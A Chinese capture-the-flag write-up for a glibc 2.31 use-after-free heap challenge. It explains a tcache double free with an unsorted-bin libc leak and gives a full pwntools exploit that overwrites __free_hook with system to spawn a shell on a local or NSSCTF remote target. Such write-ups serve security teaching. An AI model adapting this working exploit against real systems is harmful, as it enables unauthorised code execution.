存在UAF，glibc-2.31版本，存在tcache_key检测。

申请十个chunk，释放前7个填满tcachebin，然后释放第9个进入到unsortedbin中泄露libc。

接着释放第8个chunk，此时会和unsortedbin合并。

申请出tcachebin中的一个chunk，留一个tcachebin的位置利用double_free。

此时再次释放第9个chunk，就会将其释放到tcachebin中。

通过申请一个0x90的chunk，覆盖next指针为free_hook即可

EXP

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# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
    p = process('./pwn')
    elf = ELF('./pwn')
    # p = process('', env={'LD_PRELOAD':'./libc.so'})
    # gdb.attach(p)
else:
    p = remote('node5.anna.nssctf.cn', 28646)
    elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.31.so')
def add (index,size,content):
    rl(b">")
    sl(b'1')
    rl(b"Index: ")
    sl(str(index))
    rl(b"Size: ")
    sl(str(size))
    rl(b"Content: ")
    s(content)
def delete(index):
    rl(b">")
    sl(b'2')
    rl(b"Index: ")
    sl(str(index))
def show(index):
    rl(b">")
    sl(b'3')
    rl(b"Index: ")
    sl(str(index))

gdb.attach(p)
for i in range(10):
    add(i,0x80,b'a')
for i in range(7):
    delete(i)
delete(8)
show(8)
# rl(b'\n')
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0x1ecbe0
lg("libc_base",libc_base)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base+libc.sym['system']
delete(7)
add(10,0x80,b'aa')
delete(8)
add(11,0x10,b'aa')
add(12,0x90,p64(0)*14+p64(free_hook))
add(13,0x80,b'/bin/sh\x00')
add(14,0x80,p64(system))
delete(13)

inter()